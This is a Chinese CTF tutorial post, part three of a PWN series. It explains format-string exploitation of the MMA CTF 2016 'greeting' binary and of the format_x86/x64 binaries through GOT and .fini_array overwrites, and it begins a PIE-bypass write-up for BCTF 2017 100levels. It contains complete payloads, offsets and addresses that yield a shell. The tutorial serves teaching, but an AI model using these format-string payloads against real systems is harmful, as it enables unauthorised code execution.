-
-
[原创]新人PWN入坑总结(三)
-
发表于: 2021-8-2 17:32 15714
-
不多说接上文
格式化字符串0x06
一、MMA CTF 2nd 2016-greeting
1.常规checksec,开了canary和NX。IDA打开找漏洞,main函数中格式化字符串漏洞:
#注释头 char v5; // [esp+5Ch] [ebp-44h] char s; // [esp+1Ch] [ebp-84h] ----------------------------------------------------- if ( !getnline(&v5, 64) ) sprintf(&s, "Nice to meet you, %s :)\n", &v5); return printf(&s);
2.再找system,有导入,没有binsh,没有Libc。用格式化字符串修改某个函数的got表指向system函数,然后再次运行程序得以输入binsh传给该函数,相当于调用system函数,之后就可以getshell。但是发现该程序中没有循环,修改之后没办法再次输入。
3.这里需要用到c语言的结构执行:
c语言编译后,执行顺序如图所示,总的来说就是在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。
4.利用Main函数结束时会调用fini段的函数组这一个特点,我们尝试找到fini函数组的地址,利用格式化字符串漏洞来修改该地址,修改.fini_array数组的第一个元素为start,使得Main函数退出时运行该地址可以重复回到start来再次执行一次输入。
5.fini_array段的地址直接ctrl+s就可以找到,内容是__do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux,保存的内容是一个地址,该地址对应是一个代码段,该代码段的函数名为__do_global_dtors_aux proc near。其它函数对应的got,plt可以通过elf.pot\\elf.plt对应的来搜索。
6.但是这里存在一个问题,要将什么地址劫持为system函数?这个地址必须是在getline最后或者是之后,而且还需要有参数来执行binsh。第一个想到的是sprintf,因为该函数在getline函数之后,并且从右往左数第一个参数就是我们保存的内容,但是尝试过后发现崩溃了,修改是能修改,但是传参的时候有点问题。后面查看该函数汇编代码:
可以看到查看该函数从栈上取的第一个参数应该是s这个数组,而不是我们穿的v5,而如果劫持为system函数,那么就要求栈上的esp指向的内容的地址是binsh字符串,但是这里确实指向s这个数组中的内容,为空,那么system函数就没办法调用成功了。后面又看printf函数,还是不行,因为这里printf函数的参数也是s这个数组,内容此时为空,无法顺利调用。之后再找,经过getnline函数内部可以发现有个strlen函数:
#注释头 #代码中的形式: if ( !getnline(&v5, 64) ) ---------------------------------------------------------------- getnline(char *s, int n) return strlen(s); #该函数原型: unsigned int strlen(const char *str); ------------------------------------------------------- #system函数原型: int system(const char *command);
system函数调用规则是需要一个地址,地址上保存的内容是binsh字符串,或者直接"binsh"字符串赋予,C语言中就代表在全局变量中开辟一块内存,然后该内存保存的是binsh字符串,然后将该内存的地址赋予给system函数当作参数运行。总之就是system函数需要的参数是一个地址。
这里的strlen满足这个条件,虽然上面写的只是s,但是s中保存的内容是一个地址,输入AAAA,通过调试查看内容:
同样的,查看下汇编代码:
可以看到[esp+s]相当于是取s的栈地址赋值给eax,然后eax赋值给esp栈顶,这两行破代码有病,一毛一样。所以现在跳转进strlen中的话,esp的值也就是参数,是一个栈上地址,内容就是AAAA。也就相当于在strlen中的s的值是一个地址,那么劫持后,就相当于system(s),同样可以getshell。
▲劫持为system函数,要求原函数的参数也应该是一个地址才行,不然无法跳转。
7.确定攻击思路后,开始计算偏移,先用IDA简单远程调试,输入AAAA,然后将程序一直运行至printf处,可以看到栈中的偏移为12.5处会出现A的ascii值,也就是41。由于我们需要栈中完整的对应地址,所以需要输入aa填充两个字节,来使得偏移量从12.5到13处,从而能够完整地输入我们需要修改的地址。
8.之后编写payload,这里使用控制字符%hn(一次改动两个字节)来修改:
payload = ‘aa’+p32(fini_array_addr+2) + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + str(格式化fini+2) + str(格式化fini) + str(格式化strlen_got+2) + str(格式化strlen_got)
9.之后还得确定输出的值:
#注释头 fini_array = 0x08049934 start_addr = 0x080484f0 strlen_got = 0x08049a54 system_plt = 0x08048490
查看代码,由于sprintf的作用,printf的参数s保存的不止有我们输入的,还有Nice to meet you,计算加上aa可得总共有8f-7c+1=0x14个,再加上三个32位的地址12字节,总共32字节,也就是0x20。(计算截至为 str(格式化fini+2)处)
10.另外由于.fini_array的内容为0x080485a0(按d可查看数据),而我们需要更改的start地址为0x080484f0,所以只需要改动大端序列中的85a0变成84f0即可。所以格式化.fini中需要再输出的字节数应该是0x84f0-0x20=0x84D0=34000。而0x08049934+2处的内容本身就是0804,不需要修改。所以只需要修改.fini_array_addr对应的内容即可,(.fini_array+2对应的内容本身就是0804,不用修改)。所以payload可以删去p32(fini_array_addr+2)和str(格式化fini+2)。
11.接着计算,需要将strlen_got+2处的值改成0804,由于之前已经输出了0x84f0所以需要用到数据截断。也就是格式化内容中需要再输出的字节数为0x10804-0x84f0=0x8314=33556。
然后再计算strlen_got的值,需要再输出0x18490-0x10804=0x7c8c=31884。
故都计算完毕,最后payload为:
payload = ‘aa’ + p32(fini_array_addr) + p32(strlen_got+2) + p32(strlen_got) + ’%34000c%12$hn’ + ‘%33556c%13$hn’ + ‘%31884c%14$hn’
12.payload之后,运行完第一次的printf之后,程序会回到start,之后需要再输入字符串io.sendline('/bin/sh\x00')来完整运行system,从而getshell。
二、Format_x86和format_x64
★32位程序:
1.常规checksec,只开了NX。打开IDA查漏洞,main函数中格式化字符串漏洞:
#注释头 memset(&buf, 0, 0x12Cu); read(0, &buf, 0x12Bu); printf(&buf);
2.这里会有一个重复读取的循环,开shell需要system函数和binsh字符串,这里只有system函数,got和plt都对应有,没有binsh字符串,没有libc。
3.由于printf漏洞,我们可以利用这个漏洞向指定的内存地址写入指定的内容,这里考虑将printf的got中的值更改system函数plt表项的值。原本如果调用printf函数,则相当于执行printf函数的got表中保存的printf函数的真实地址处的代码,更改之后相当于执行system函数plt表地址处的代码,也就相当于调用system函数。原理如下:
原本执行Printf函数:相当于执行printf的执行代码
#注释头 printf_got_addr: 7Fxxxxxx 7Fxxxxxx: printf的执行代码
更改之后:相当于执行jmp system_got代码,那就相当于执行system函数了
#注释头 printf_got_addr: 08048320(system_plt) 08048320(system_plt): jmp system_got
4.那么预想程序总流程如下:第一次读取,输入payload,然后printf执行,将printf的got表更改为system函数plt表。通过while循环,第二次读取,输入binsh字符存入buf中,此时printf(&buf),相当于system(&buf),那就相当于system(binsh),即可直接getshell。
5.编写payload,首先需要计算一下偏移地址,将断点下在call printf上,通过调试能够查看到printf写入栈中的地址距离esp的偏移量为6,所以使用控制字符%n来将printf劫持到system,这里偏移就会成n-1为5。偏移代表的是取参数的时候的偏移量,下面的payload对应的5,6,7,8就对应向地址print_got,print_got+1,print_got+2,print_got+3写入内容。由于是修改地址,所以用%hhn来逐个修改,防止向服务器发送过大数据从而出错。
(1)找到got表和plt表项的值
#注释头 printf_got = 0x08049778 system_plt = 0x08048320
(2)32位程序,4个字节一个地址,所以需要四个地址:
#注释头 payload = p32(printf_got) payload += p32(printf_got+1) payload += p32(printf_got+2) payload += p32(printf_got+3)
(3)由于是大端序,低地址保存的是高地址的内容,print_got需要保存的应该是system_plt的最后一个字节,也就是0x20。
①由于前面已经输入了p32(printf_got)+p32(printf_got1)+p32(printf_got2)+p32(printf_got3),这些在没有遇到%之前一定会被打印出来,共计16个字节,而我们需要让它总共打印出0x20个字节,所以我们再打印(0x20-16)个字节。
②同样,由于前面已经打印了0x20个字节,我们总共需要打印0x83个字节,所以应该再让程序打印%(0x83-0x20)个字节,之后道理相同。
#注释头 payload += "%" payload += str(0x20-16) payload += "c%5$hhn" #写入0x20到地址print_got payload += "%" payload += str(0x83-0x20) payload += "c%6$hhn" #写入0x83到地址print_got+1 payload += "%" payload += str(0x104-0x83) payload += "c%7$hhn" #写入0x04到地址print_got+2,0x104被截断为04 payload += "%" payload += str(0x108-0x104) payload += "c%8$hhn" #写入0x08到地址print_got+3,0x108被截断为08
▲为了便于理解,下面代码也行:
#注释头 payload = p32(printf_got+1) #使用hhn写入,分别对应待写入的第3,4,2,1字节 payload += p32(printf_got) payload += p32(printf_got+2) payload += p32(printf_got+3) payload += "%" payload += str(0x83-16) #被写入的数据,注意四个地址长度是16,需要减掉 payload += "c%5$hhn" payload += "%" payload += str(0x120-0x83) payload += "c%6$hhn" payload += "%" payload += str(0x204-0x120) #由于是hhn所以会被截断,只留后两位 payload += "c%7$hhn" payload += "%" payload += str(0x208-0x204) payload += "c%8$hhn"
6.其实可以直接使用类Fmtstr,效果一样,将Payload替换成下列代码即可
payload = fmtstr_payload(5, {printf_got:system_plt})
7.之后再io.sendline('/bin/sh\x00'),即可getshell
★64位程序
1.由于64位,传参的顺序为rdi, rsi, rdx, rcx, r8, r9,接下来才是栈,所以偏移量应该是6指向栈顶。之后考虑使用fmtstr来直接构造获取:
payload = fmtstr_payload(6, {printf_got:system_plt})
但是这个方法会出错,因为在这种情况下,我们的地址如下
#注释头 printf_got = 0x00601020 system_plt = 0x00400460
需要写入地址printf_got的首两位是00,且以p64形式发送,所以先发送的是0x20,0x10,0x60,0x00,0x00.......而Read函数读到0x00就会截断,默认这是字符串结束了,所以之后的都无效了。
2.那么考虑手动方式,将p64(printf_got)放在payload的末尾,这样就只有最后才会读到0x00,其它的有效数据都能读入。
3.使用手动方式就需要再次计算偏移量,我们的payload构成应该是
payload = ”%”+str(system_plt)+”c%8$lln” + p64(printf_got)
这里偏移量为8是因为经过调试发现我们的输入从栈顶开始计算,也就是从栈顶开始,一共输入了
1(%) + 7(0x400460转换成十进制为4195424,也就是7个字节) + 7(“c%8$lln”) + 8(p64_printf_got)=23个字节。
经过计算我们发现,p64前面的字节数为15个字节,不足8的倍数,这样会导致printf_got的最后一个字节20被截断至偏移量为7的位置,从而使得偏移量为8的位置只有6010,导致出错。所以我们需要填充一个字节进去,让它不会被截断。
#注释头 payload = ”a%” + str(system_plt-1)+”c%8$lln” + p64(printf_got)
加入一个字节a就可以使得在参数偏移量为6和7的位置中不会截断0x601020。同时加入字节a就要使system_plt-1来满足最终打印的字符个数为0x00400460,从而才能成功将0x00400460(system_plt)写入到0x00601020(printf_got)
5.完成payload之后,再次循环进入,输入io.sendline('/bin/sh\x00')后interactive()即可getshell
参考资料:
爆破绕过PIE0x07
一、BCTF 2017-100levels
1.常规checksec,开启了NX和PIE,不能shellcode和简单rop。之后IDA打开找漏洞,E43函数中存在栈溢出漏洞:
#注释头 __int64 buf; // [rsp+10h] [rbp-30h] -------------------------------------------------- read(0, &buf, 0x400uLL);
有栈溢出那么首先想到是应该查看有没有后门,但是这个程序虽然外部引用了system函数,但是本身里并没有导入到.got.plt表中,没办法直接通过.got.plt来寻址。而且开了PIE,就算导入到.got.plt表中,也需要覆盖返回地址并且爆破倒数第四位才能跳转到system函数。虽然有栈溢出,但是没有后门函数,同样也没办法泄露Libc地址。
2.想getshell,又只有一个栈溢出,没有其它漏洞,还开了PIE和NX,那么一定得泄露出地址才能做,而printf地址也因为PIE没办法直接跳转。陷入卡顿,但是这里可以查看E43函数中的printf的汇编代码:
只能通过栈溢出形式来为下一次的printf赋参数来泄露。又由于PIE,也不知道任意一个函数的代码地址,那也没办法泄露被加载进入Libc中的内存地址。
3.通过调试可以看到,进入E43函数中,抵达printf函数时,栈顶的上方有大量的指向libc的地址:
并且观察E43函数中的汇编代码,可以看到Printf是通过rbp取值的,那么我们可以通过栈溢出修改rbp来使得[rbp+var_34]落在其它地方,而如果这个其它地方有libc地址,那么就相当于泄露出了Libc地址。
4.这个关卡数是由我们设置的,而且通过递归调用E43函数,形成多个E43的栈,那么进行调试,第二次进入E43的栈之后,仍然在运行到printf函数时,栈顶上方仍旧有大量的Libc地址。由于我们需要修改rbp来使得下一次的printf打印出libc地址,那么关卡最低需要设置两关,第一关用来栈溢出,修改rbp,使得第二关中的printf函数指向栈顶上方从而打印出Libc地址。
5.由于栈的随机化,我们如果随意修改rbp那么就会打印出奇怪的东西,所以修改rbp的最后一个字节,使得[rbp+var_34]能够移动一定范围,以一定几率命中栈顶上方。而又由于是递归调用,第一关的栈在第二关的栈的上方,模型大致如下:
(1)第一次rbp和rsp以及第二次的如图:
(2)第一次栈以及第二次栈如图:
▲这里用的是Libc-2.32的,用其他的Libc就不太一样,具体情况具体分析。
6.这里的模型是假设第一次的rsp栈顶后两位为00,但是由于栈地址随机化,所以rsp其实可以从0x00-0xFF之间变化,对应的地址也就是从0-31之间变化。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]CVE-2021-22555_Netfilter堆溢出提权漏洞 22829
- [原创]Kernel从0开始(四) 28362
- [原创]Kernel从0开始(三) 29429
- [原创]Kernel从0开始(二) 32620
- [原创]Kernel从0开始(一) 45333